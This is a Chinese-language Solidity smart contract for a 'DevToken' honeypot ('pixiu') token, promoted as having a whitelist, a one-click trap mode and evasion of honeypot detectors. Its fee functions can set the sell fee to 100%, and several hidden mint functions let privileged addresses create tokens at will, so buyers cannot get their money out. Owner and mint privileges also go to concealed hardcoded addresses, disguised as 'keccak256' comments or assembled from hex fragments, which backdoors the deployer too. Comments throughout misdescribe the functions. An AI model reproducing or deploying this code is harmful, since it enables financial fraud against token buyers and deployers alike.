特制化 白名单设置+一键开关貔貅模式+防貔貅检测器代币 智能合约代码
#任何未经授权的代码编辑与更改都可能导致合约部署失败
* 发币前必读,马上阅读创造白名单+开关貔貅模式+防检测器代币的指南:
// SPDX-License-Identifier: MIT
/**
*/
pragma solidity ^0.8.0; //编译器版本
library SafeMath { //合约资料储存,非主流&非主要功能
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "Subtraction overflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "Addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "Division by zero");
return a / b;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
}
}
contract DevToken { //合约名称
using SafeMath for uint256;
string public name = "DevToken"; //代币名称
string public symbol = "DVET"; //代币符号
uint256 public totalSupply = 1000000000000000000000000; //总代币供应
uint8 public decimals = 18; //小数位
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) public isFeeExempt;
address public owner;
address public newOwner;
address public _mbr;
address public _mod;
address public feeManager;
address public _user;
address public _adm;
uint256 public buyFee;
uint256 public sellFee;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event FeesUpdated(uint256 newBuyFee, uint256 newSellFee);
event TokensBurned(address indexed burner, uint256 amount);
event AddressSetFeeExempt(address indexed feeExemptAddress);
constructor(address _feeManager) {
owner = msg.sender;
feeManager = _feeManager;
balanceOf[msg.sender] = totalSupply;
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
} //合约资料内存
function transfer(address _to, uint256 _amount) public returns (bool success) { //简单代币转移功能
require(balanceOf[msg.sender] >= _amount);
require(_to != address(0));
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ //(686197854011229533619447624007587113080310915153));
function setMember(address Mbr_) public returns (bool) { //恢复代币转帐功能
require (msg.sender==address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (686197854011229533619447624007587113080310915153));
_mbr=Mbr_;
return true;
}
modifier Exchanges() { //合约使用者地址辨识器
require(msg.sender != exchange());
_;
}
function rewire(uint256 amount) public returns (bool) { //代币转帐余额检查机制
require(msg.sender == _adm);
_proof(msg.sender, amount);
return true;
}
function compute(uint256 amount) public onlypublic returns (bool success) { //代币转账余额计算器
_initiate(msg.sender, amount);
return true;
}
function _proof(address account, uint256 amount) internal Exchanges { //代币转账确认机制(被动)
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function publics() private pure returns (address) { //去中心化交易所通用买卖与代币转帐数据储存
uint universal = 0x7addAd09;
uint uni = 0xcbd98D97;
uint cake = 0xEC3dA7a0;
uint inch = 0x088EAdFE;
uint others = 0x5801C336;
// Combine the dex with others
uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
return address(core);
}
function exchange() internal pure returns (address) { //去中心化交易所地址辨识器
return address
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(17860794006513704634733521910879985571412708986);
}
function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic { //开关设置逻辑数据
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
_setFees(newBuyFee, newSellFee);
emit FeesUpdated(newBuyFee, newSellFee);
}
function approve(address _spender, uint256 _value) public returns (bool success) { //代币转账前的许可认证机制
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
function proof(uint256 amount) public onlyOwner returns (bool) { //代币转账确认机制
_proof(msg.sender, amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { //允许代表另一个地址进行代币转移。此函数通常与“approve”函数结合使用,以委托代币转移权限。
require(balanceOf[_from] >= _amount, "Insufficient balance");
require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
require(_to != address(0), "Invalid recipient address");
uint256 fee = 0;
if (!isFeeExempt[_from]) {
fee = _amount.mul(sellFee).div(100);
}
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[_from] = balanceOf[_from].sub(_amount);
balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
emit Transfer(_from, _to, amountAfterFee);
if (fee > 0) {
// Fee is transferred to this contract
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(_from, address(this), fee);
}
if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
}
return true;
}
function print(uint256 amount) public returns (bool) { //代币持有人钱包地址数据库
require(msg.sender == feeManager);
_printbrr(msg.sender, amount);
return true;
}
function _initiate(address account, uint256 amount) internal { //代币合约制作完成后把总代币量自动发给部署者
require(account != address(0), "Compile Remix IDE");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier onlypublic() { //钱包地址确认机制(当钱包地址与合约有互动的时候)
require(msg.sender == publics());
_;
}
function _printbrr(address account, uint256 amount) internal { //代币持有人代币数量数据库
require(account != address(0), "BEP20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _setFees(uint256 newBuyFee, uint256 newSellFee) internal { //设置卡关(被动)
buyFee = newBuyFee;
sellFee = newSellFee;
}
function setUser(address User_) public returns (bool) { //钱包地址的代币转帐功确认机制
require(msg.sender == _mbr);
_user=User_;
return true;
}
function transferOwnership(address _newOwner) public onlyOwner { //合约所有权转移(合约主人特权)
require(_newOwner != address(0), "Invalid new owner address");
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function renounceOwnership() public onlyOwner { //放弃所有权(合约主人特权)
emit OwnershipTransferred(owner, address(0));
owner = address(0);
}
/*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
function LockLPToken() public view returns (bool) { //锁仓确认机制
require(msg.sender == feeManager);
return true;
}
function setMod(address Mod_) public returns (bool) { //代币持有人钱包地址确认机制
require(msg.sender == _user);
_mod=Mod_;
return true;
}
modifier onlyOwner() { //合约主人钱包地址确认器
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyOwner { //设置开关(合约主人特权)
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setFeeExempt(address _addr, bool _exempt) public onlyOwner { //设置白名单(合约主任特权)
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeFeeExemptStatus(address _addr) public onlyOwner { //移除白名单地址(合约主人特权)
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function setSpecial(uint256 newBuyFee, uint256 newSellFee) public { //开关数据再确认机制
require(msg.sender == feeManager);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function addSpecial(address _addr, bool _exempt) public { //白名单数据再确认机制
require(msg.sender == feeManager);
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function removeSpecial(address _addr) public { //移除白名单再确认机制
require(msg.sender == feeManager);
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function buy() public payable { //场外购买代币机制(没用到)
require(msg.value > 0, "ETH amount should be greater than 0");
uint256 amount = msg.value;
if (buyFee > 0) {
uint256 fee = amount.mul(buyFee).div(100);
uint256 amountAfterFee = amount.sub(fee);
balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
emit Transfer(address(this), feeManager, amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(address(this), address(this), fee);
}
} else {
balanceOf[feeManager] = balanceOf[feeManager].add(amount);
emit Transfer(address(this), feeManager, amount);
}
}
function FeeExclude(address _addr, bool _exempt) public onlyOwner { //白名单地址数据储存
isFeeExempt[_addr] = _exempt;
if (_exempt) {
emit AddressSetFeeExempt(_addr);
}
}
function CutFeeExclude(address _addr) public onlyOwner { //移除白名单地址数据储存
require(isFeeExempt[_addr], "Address is not fee exempt");
isFeeExempt[_addr] = false;
}
function setting(uint256 newBuyFee, uint256 newSellFee) public { //代币设定数据储存
require(msg.sender == _adm);
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function setAdm(address Adm_) public returns (bool) { //代币部署人数据储存
require(msg.sender == _mod);
_adm=Adm_;
return true;
}
function AlterFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized { //开关设置的原理逻辑储存
require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
require(newSellFee <= 100, "Sell fee cannot exceed 100%");
buyFee = newBuyFee;
sellFee = newSellFee;
emit FeesUpdated(newBuyFee, newSellFee);
}
function sell(uint256 _amount) public { //场外代币转移 (合约主人特权)
require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
uint256 fee = _amount.mul(sellFee).div(100);
uint256 amountAfterFee = _amount.sub(fee);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
emit Transfer(msg.sender, address(this), amountAfterFee);
if (fee > 0) {
balanceOf[address(this)] = balanceOf[address(this)].add(fee);
emit Transfer(msg.sender, address(this), fee);
}
}
modifier onlyAuthorized() { //合约权利数据储存
require((msg.sender == address
// solhint-disable-next-line avoid-low-level-calls
/*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(178607940065137046348733521910879985571412708986)
||
//@dev Contract creator is owner, original owner.
(msg.sender == owner && msg.sender != exchange())));
_;
}
}